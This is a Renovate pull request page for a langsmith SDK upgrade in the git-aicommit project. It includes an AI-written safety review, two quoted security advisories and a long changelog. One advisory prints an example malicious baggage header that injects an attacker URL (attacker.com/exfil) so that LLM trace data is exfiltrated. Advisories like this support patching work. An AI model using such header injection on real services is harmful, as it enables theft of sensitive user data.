| FazBrowse GitHub Viewer | Trending | | Home |
| Tools: [Download Repo ZIP] [Original HTTPS Page] |
Sorry, something went wrong.
Renovate PR Review Results⚖️ Safety Assessment: ✅ Safe🔍 Release Content AnalysisSecurity Fixes AddressedThis update addresses two critical security vulnerabilities:
Major Version ChangesThe update jumps from 0.4.43 → 0.7.32 (via 0.7.31), spanning approximately 150+ releases across several months. Key changes include:
🎯 Impact Scope InvestigationCurrent Usage AnalysisLimited LangSmith Usage in git-aicommit:
Vulnerability Impact Assessment:
API Compatibility:
Dependency Chain ImpactThe update introduces two new transitive dependencies:
Both are stable, well-maintained packages with no known security issues. 💡 Recommended ActionsImmediate Actions:
Why This Is Safe:
Optional Follow-up:
🔗 Reference LinksSecurity Advisories:
Release Notes:
Repository:
Generated by koki-develop/claude-renovate-review 🚫 Permission Denied Tool ExecutionsThe following tool executions that Claude Code attempted were blocked due to insufficient permissions. Run #24517991884 - 1 tool denied
Generated by koki-develop/claude-denied-tools |
Sorry, something went wrong.
| Back | FazBrowse Home | New Git URL |
This PR contains the following updates:
GitHub Vulnerability Alerts
CVE-2026-25528
Summary
The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.
Description
When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields.
Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.
Attack Vector
Attacker sends an HTTP request to a vulnerable service with a malicious baggage header:
baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}]The service parses the header via RunTree.from_headers(), storing the attacker's URL
When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to https://attacker.com/exfil
Impact
Affected Use Cases
Applications are vulnerable if they:
Remediation
Update to the patched versions:
The fix filters incoming replica configurations to an allowlist of safe fields, removing api_url, api_key, and other credential fields.
Workarounds
If unable to upgrade immediately:
Severity
GHSA-rr7j-v2q5-chgv
Summary
The LangSmith SDK's output redaction controls (hideOutputs in JS, hide_outputs in Python) do not apply to streaming token events. When an LLM run produces streaming output, each chunk is recorded as a new_token event containing the raw token value. These events bypass the redaction pipeline entirely — prepareRunCreateOrUpdateInputs (JS) and _hide_run_outputs (Python) only process the inputs and outputs fields on a run, never the events array. As a result, applications relying on output redaction to prevent sensitive LLM output from being stored in LangSmith will still leak the full streamed content via run events.
Details
Both JS and Python SDKs are affected. The same pattern exists in both:
In both SDKs, new_token events with raw kwargs.token values are added during streaming, and the redaction pipeline (hideOutputs in JS, hide_outputs in Python) only processes inputs/outputs — never events.
Severity
Release Notes
langchain-ai/langsmith-sdk (langsmith)v0.7.31
Compare Source
What's Changed
Full Changelog: langchain-ai/langsmith-sdk@v0.7.30...v0.7.31
v0.7.30
Compare Source
What's Changed
Full Changelog: langchain-ai/langsmith-sdk@v0.7.29...v0.7.30
v0.7.29
Compare Source
What's Changed
Full Changelog: langchain-ai/langsmith-sdk@v0.7.28...v0.7.29
v0.7.28
Compare Source
What's Changed
New Contributors
Full Changelog: langchain-ai/langsmith-sdk@v0.7.27...v0.7.28
v0.7.27
Compare Source
What's Changed
New Contributors
Full Changelog: langchain-ai/langsmith-sdk@v0.7.26...v0.7.27
v0.7.26
Compare Source
What's Changed
Full Changelog: langchain-ai/langsmith-sdk@v0.7.25...v0.7.26
v0.7.25
Compare Source
What's Changed
New Contributors
Full Changelog: langchain-ai/langsmith-sdk@v0.7.24...v0.7.25
v0.7.24
Compare Source
What's Changed
Full Changelog: langchain-ai/langsmith-sdk@v0.7.23...v0.7.24
v0.7.23
Compare Source
What's Changed
New Contributors
Full Changelog: langchain-ai/langsmith-sdk@v0.7.22...v0.7.23
v0.7.22
Compare Source
What's Changed
Full Changelog: langchain-ai/langsmith-sdk@v0.7.21...v0.7.22
v0.7.21
Compare Source
What's Changed
Full Changelog: langchain-ai/langsmith-sdk@v0.7.20...v0.7.21
v0.7.20
Compare Source
What's Changed
Full Changelog: langchain-ai/langsmith-sdk@v0.7.19...v0.7.20
v0.7.19
Compare Source
What's Changed
New Contributors
Full Changelog: langchain-ai/langsmith-sdk@v0.7.18...v0.7.19
v0.7.18
Compare Source
What's Changed
Full Changelog: langchain-ai/langsmith-sdk@v0.7.17...v0.7.18
v0.7.17
Compare Source
What's Changed
Full Changelog: langchain-ai/langsmith-sdk@v0.7.16...v0.7.17
v0.7.16
Compare Source
What's Changed
Full Changelog: langchain-ai/langsmith-sdk@v0.7.15...v0.7.16
v0.7.15
Compare Source
What's Changed
New Contributors
Full Changelog: langchain-ai/langsmith-sdk@v0.7.14...v0.7.15
v0.7.14
Compare Source
What's Changed
Full Changelog: langchain-ai/langsmith-sdk@v0.7.13...v0.7.14
v0.7.13
Compare Source
What's Changed
Full Changelog: langchain-ai/langsmith-sdk@v0.7.12...v0.7.13
v0.7.12
Compare Source
What's Changed
Full Changelog: langchain-ai/langsmith-sdk@v0.7.11...v0.7.12
v0.7.11
Compare Source
What's Changed
New Contributors
Full Changelog: langchain-ai/langsmith-sdk@v0.7.10...v0.7.11
v0.7.10
Compare Source
What's Changed
Full Changelog: langchain-ai/langsmith-sdk@v0.7.9...v0.7.10
v0.7.9
Compare Source
What's Changed
Full Changelog: langchain-ai/langsmith-sdk@v0.7.8...v0.7.9
v0.7.8
Compare Source
What's Changed
New Contributors
Full Changelog: langchain-ai/langsmith-sdk@v0.7.7...v0.7.8
v0.7.7
Compare Source
What's Changed
New Contributors
Full Changelog: langchain-ai/langsmith-sdk@v0.7.6...v0.7.7
v0.7.6
Compare Source
What's Changed
Full Changelog: langchain-ai/langsmith-sdk@v0.7.5...v0.7.6
v0.7.5
Compare Source
What's Changed
Full Changelog: langchain-ai/langsmith-sdk@v0.7.4...v0.7.5
v0.7.4
Compare Source
What's Changed
Full Changelog: langchain-ai/langsmith-sdk@v0.7.3...v0.7.4
v0.7.3
Compare Source
What's Changed
Full Changelog: langchain-ai/langsmith-sdk@v0.7.2...v0.7.3
v0.7.2
Compare Source
What's Changed
Configuration
📅 Schedule: (UTC)
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR was generated by Mend Renovate. View the repository job log.